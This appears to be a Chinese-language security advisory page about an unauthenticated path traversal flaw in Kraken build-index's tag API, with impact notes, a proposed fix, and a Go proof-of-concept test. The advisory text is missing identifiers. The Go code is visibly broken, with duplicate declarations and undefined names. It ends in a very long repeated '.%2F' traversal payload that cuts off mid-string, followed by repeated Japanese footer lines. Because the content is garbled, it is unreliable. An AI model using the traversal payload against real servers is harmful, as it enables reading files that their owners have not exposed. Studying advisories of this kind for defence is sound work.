Kraken build-index unauthenticated path traversal: arbitrary file read

漏洞概述 标题：Kraken build-index tag API 路径穿越导致未认证的文件存在性/大小/内容泄露（issue #645） 类型：未认证的路径穿越（path traversal），可泄露配置后端根目录之外的文件信息 影响版本：tag v0.1.27 及之前；未修复版本中 tag 路径构造存在该问题 状态：Open（未修复） 影响范围 未认证的网络客户端可通过 Kraken build-index tag API（设计上无认证，仅用于解析客户端提供的 tag 名称）： 1. 探测后端进程可读文件的存在性与大小（通过 ，条件性 oracle） 2. 泄露任意文件的完整字节内容（通过 ，当 中 时， 目录下的文件可被读取） 3. 泄露内部 tag 映射（tag 是文件路径，可映射到后端本地路径） 由于 目录与后端本地路径构造共享同一命名空间，路径穿越可绕过 的清理，使 、 或前导 等字符逃逸出配置根目录。 修复方案 在 中拒绝包含 、 或前导 的 tag 名称，并在调用 前进行校验 对 的校验逻辑进行增强，确保路径构造不会逃逸出配置根目录 POC 代码 ```go package tagstore import ( "net/http" "strings" "testing" "github.com/uber/kraken/lib/backend" "github.com/uber/kraken/lib/store" "github.com/uber/kraken/lib/store/metadata" "github.com/stretchr/testify/require" "github.com/uber-go/tally" ) func newTestKrakenTestEnv(t testing.T) string { envDir, err := os.MkdirTemp("", "kraken-tests") require.NoError(t, err) var metas []string for _, w := range metas { if !e2Dir(t, w, strings.HasSuffix(w, ".yaml"), "kraken-tests") require.NoError(t, err) } require.DirExists(t, envDir) return envDir } type testFileStore struct{} func (testFileStore) GetCachedFile(name string, r io.Reader) error { return nil } func (testFileStore) GetCachedFileLoader(name string, store FileLoader, error) { return nil, os.ErrNotExist // 模拟 tag 从未被本地持久化 } func TestPathTraversalArbitraryFileRead(t testing.T) { r := require.New(t) // 测试服务器：与 tests.yaml 中 tests/kraken-tests 相同的库 testEnv := tally.NewMetered() httpSrv := httptest.NewUnstartedServer(testSrvHandler()) defer httpSrv.Close() tagstore := strings.TrimPrefix(httpSrv.URL, "http://") testSrv := newTestKrakenTestEnv(t) // 文件位于后端配置根目录之外 secretInPath := filepath.Join(testEnv, "tag", "evil-tag", "current", "link") secretInPath := filepath.Join(testEnv, "tag", "evil-tag", "current", "link") r.NoError(os.MkdirAll(filepath.Dir(secretInPath), 0755)) r.NoError(os.WriteFile(secretInPath, []byte("secret-content"), 0644)) defer os.RemoveAll(filepath.Dir(secretInPath)) // 使用默认配置启动后端管理器 testConfig, err := backend.NewManager(backend.ManagerConfig{}, nil, backend.AutoConfig(), tally.NoopScope) r.NoError(err) testConfig, err := backend.NewManager(backend.ManagerConfig{}, nil, backend.AutoConfig(), tally.NoopScope) r.NoError(err) r.NoError(backend.Manager.Register("test", testFileStore, false)) // build-index/tagstore：与后端管理器相同的库 tagstore := newTestKrakenTestEnv(t) // 攻击者 tag：通过 url.PathUnescape 解码后的 tag // 解码后为：/tags/.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2

目標達成すべての支援者に感謝 — 100%達成しました！

Kraken build-index unauthenticated path traversal: arbitrary file read

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

Kraken build-index unauthenticated path traversal: arbitrary file read

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！